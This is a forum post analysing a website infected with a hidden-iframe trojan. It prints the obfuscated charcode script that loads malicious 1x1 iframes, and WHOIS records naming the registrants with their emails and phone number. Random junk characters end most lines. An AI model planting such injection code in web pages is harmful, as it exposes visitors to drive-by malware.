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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, >;.*  
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http://www.areway.cn/?p=175 L3>4t: 8  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: /~"AG l.  
          '7=<#Blc  
<script>t=’60,105,102,114,97,109,101, U:Fpj~E_w  
32,115,114,99,61,104,116,116,112,58,47,47, c8tP+O9  
102,114,101,101,46,117,45,117,117,117,46,99, p(7c33SyF  
110,47,101,114,114,111,114,46,104,116,109, "D!Dr1  
32,119,105,100,116,104,61,49,48,48,32,104, lzI/\%  
101,105,103,104,116,61,48,62,60,47,105,102, " xxXZGUp  
114,97,109,101,62′; 4= $!_,.  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> R_~F6O^EO  
                                                                                                  C0f[eA  
<script>t=’60,105,102,114,97,109,101,32,115, TQ2i{e  
114,99,61,104,116,116,112,58,47,47,102,114, gTyW#verh$  
101,101,46,117,45,117,117,117,46,99,110,47, sK[Nti0  
101,114,114,111,114,46,104,116,109,32,119, (T;1q^j  
105,100,116,104,61,49,48,48,32,104,101,105, ?bCTLt7k  
103,104,116,61,48,62,60,47,105,102,114,97, ]N_140N~  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ?xf~!D  
document.write(t);</script> aH9L|BN*  
                                                                                                  l85CJ+rg  
<html xmlns=” 2PI #ie4  
http://www.w3.org/1999/xhtml b__n~\q_  
“> OT"lP(,  
<head> ~CJYQFt  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> cxk=| ?l  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> H;X~<WN&AW  
<title>首页 - 爱生活家庭网 G)K9la<p  
                                                                                                                                                    !zl/0o  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 "9.6\Y\*  
转换字符串后的大概内容是(谁点击后果自付): L7[X|zmy*x  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… E'fX&[  
                                                                                                                                  @)06\ h  
查询玉米u-uuu.cn的详细信息: VN!^m]0  
Domain Name: u-uuu.cn 00R%  
ROID: 20070901s10001s64972306-cn 6p e4Ni7I2  
Domain Status: ok hiT9H5 6 >  
Registrant Organization: 王雷 w`"W3(  
Registrant Name: 王雷 (''$' 5~  
Administrative Email: czlovexs@126.com MQhYJ01i  
Sponsoring Registrar: 北京万网志成科技有限公司 bwT"$Ee  
Name Server:ns.yovole.com WoJ]@Me8  
Name Server:ns1.yovole.com kv[OW"8t  
Registration Date: 2007-09-01 17:54 ) +*@AM E  
Expiration Date: 2008-09-01 17:54 8g&uE*7N  
最后PING了一下地址 都没有什么…. KS8\F0q  
                                                                                                _GRv   
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 7?*~oVZW  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>  8APTk  
<script language=”javascript” src=” Q&tFv;1w6  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script baA HP "  
> mn,=V[f  
这个玉米应该有可能是木马作者的: 9eksCxFg  
foafau.info的详细信息: 7Ljs4>%l9j  
Access to INFO WHOIS information is provided to assist persons in 5 ,g$|,Shv  
determining the contents of a domain name registration record in the `<bCq\+`  
Afilias registry database. The data in this record is provided by =]6_{#Z<  
Afilias Limited for informational purposes only, and Afilias does not D_]i/ F%  
guarantee its accuracy.  This service is intended only for query-based '[0 3L9  
access. You agree that you will use this data only for lawful purposes %Tk}sfx  
and that, under no circumstances will you use this data to: (a) allow, _dz:\v  
enable, or otherwise support the transmission by e-mail, telephone, or ok8JnQC  
facsimile of mass unsolicited, commercial advertising or solicitations (}~ 1{C@  
to entities other than the data recipient’s own existing customers; or t^dakL  
(b) enable high volume, automated, electronic processes that send &fh.w]\  
queries or data to the systems of Registry Operator, a Registrar, or ^$3w&$K*  
Afilias except as reasonably necessary to register domain names or \=TWYj_Ah  
modify existing registrations. All rights reserved. Afilias reserves )GQ D*b  
the right to modify these terms at any time. By submitting this query, ntd ":BKi  
you agree to abide by this policy. u~j'NOv  
Domain ID:D22418703-LRMS FC|y'j 0  
Domain Name:FOAFAU.INFO !NQf< ch  
Created On:20-Nov-2007 16:05:42 UTC ^2P;CAjj-  
Last Updated On:20-Nov-2007 16:05:44 UTC k)o7COx  
Expiration Date:20-Nov-2008 16:05:42 UTC `V$cz88b  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) }d$vcEI$3  
Status:CLIENT DELETE PROHIBITED (2&K (1.Y  
Status:CLIENT RENEW PROHIBITED a2 IV!0x  
Status:CLIENT TRANSFER PROHIBITED L|vaTidc0  
Status:CLIENT UPDATE PROHIBITED \v B9fA:*  
Status:TRANSFER PROHIBITED \["1N-q b  
Registrant ID:GODA-040110615 +/1P^U /  
Registrant Name:liu hong 3RG/X  
Registrant Organization: ;L MEU_  
Registrant Street1:beijing LK oM\g(  
Registrant Street2: y$"~^8"z  
Registrant Street3: t2`X!`  
Registrant City:beijing xNkwTDN5  
Registrant State/Province: u:p:*u_^I  
Registrant Postal Code:100000 [ 7CH(o1a&  
Registrant Country:CN j.e`ip  
Registrant Phone:+86.860108888777 D z]}@Z*jK  
Registrant Phone Ext.: C[HE4xF6  
Registrant FAX: VbY>l' rY  
Registrant FAX Ext.: =iPd@f"$  
Registrant Email:bbbshiji@163.com rYP8V >  
Admin ID:GODA-240110615 &St~!y6M?  
Admin Name:liu hong BBZ)H6TzL  
Admin Organization: cviN$oL  
Admin Street1:beijing '{1W)X  
Admin Street2: ;FIMCJS  
Admin Street3: FlM.D u  
Admin City:beijing "Hsq<oV8  
Admin State/Province: +;4AG::GN  
Admin Postal Code:100000 'bQ s_  
Admin Country:CN ;nHo%`Zt  
Admin Phone:+86.860108888777 -6*OF.Ag`  
Admin Phone Ext.: 8M5!5Jzv  
Admin FAX: U(=f5|-  
Admin FAX Ext.: (&a3v  
Admin Email:bbbshiji@163.com \5v=pDd4g  
Billing ID:GODA-340110615 ({}O M=_  
Billing Name:liu hong !F}J+N=}  
Billing Organization: \3@2rW"5  
Billing Street1:beijing Z{|.xgsY  
Billing Street2: N1B$G  
Billing Street3: ~]D \&D9=?  
Billing City:beijing #RZJ1uL  
Billing State/Province: aL$c).hq0  
Billing Postal Code:100000 UC<[z#]\;  
Billing Country:CN [M zc^I&  
Billing Phone:+86.860108888777 vX!dMJa0  
Billing Phone Ext.: ML9T (th6v  
Billing FAX: yQQDGFTb!=  
Billing FAX Ext.: n=Z[w5  
Billing Email:bbbshiji@163.com GurE7J^=  
Tech ID:GODA-140110615 5i wikC=y  
Tech Name:liu hong cWy*K4O  
Tech Organization: :)3$&QdHT  
Tech Street1:beijing x X=IMM3  
Tech Street2: Dk. 9&9mz  
Tech Street3: eUUD|U*b   
Tech City:beijing j)SgB7Q  
Tech State/Province: au9Wo<mR  
Tech Postal Code:100000 D aqy+:  
Tech Country:CN f T+n-B  
Tech Phone:+86.860108888777 <8xP-(wk;  
Tech Phone Ext.: M cMK|_H  
Tech FAX: _<' kzOj  
Tech FAX Ext.: Vzv.e6_  
Tech Email:bbbshiji@163.com f%"_U'  
Name Server:NS27.DOMAINCONTROL.COM O7#}8-@}<u  
Name Server:NS28.DOMAINCONTROL.COM bQnwi?2  
Name Server: ]$`s}BN  
Name Server: {D_4~heF  
Name Server: * y"GgI  
Name Server: xF:poi  
Name Server: lCs8`bYU  
Name Server: ."#jN><t  
Name Server: h0EGhJs  
Name Server: `peJ s~V  
Name Server: IUBps0.T\  
Name Server: wx?{|  
Name Server: a[{QlD^D  
                                                                                                          7>e~i,  
接着下载每个文件里面的代码: Y=wP3q  
一步一步看.. @_weMz8}  
yK2*~T,6@  
7{/:,  
m3v* ,~  
>p+gx,N  
4 d1Y\  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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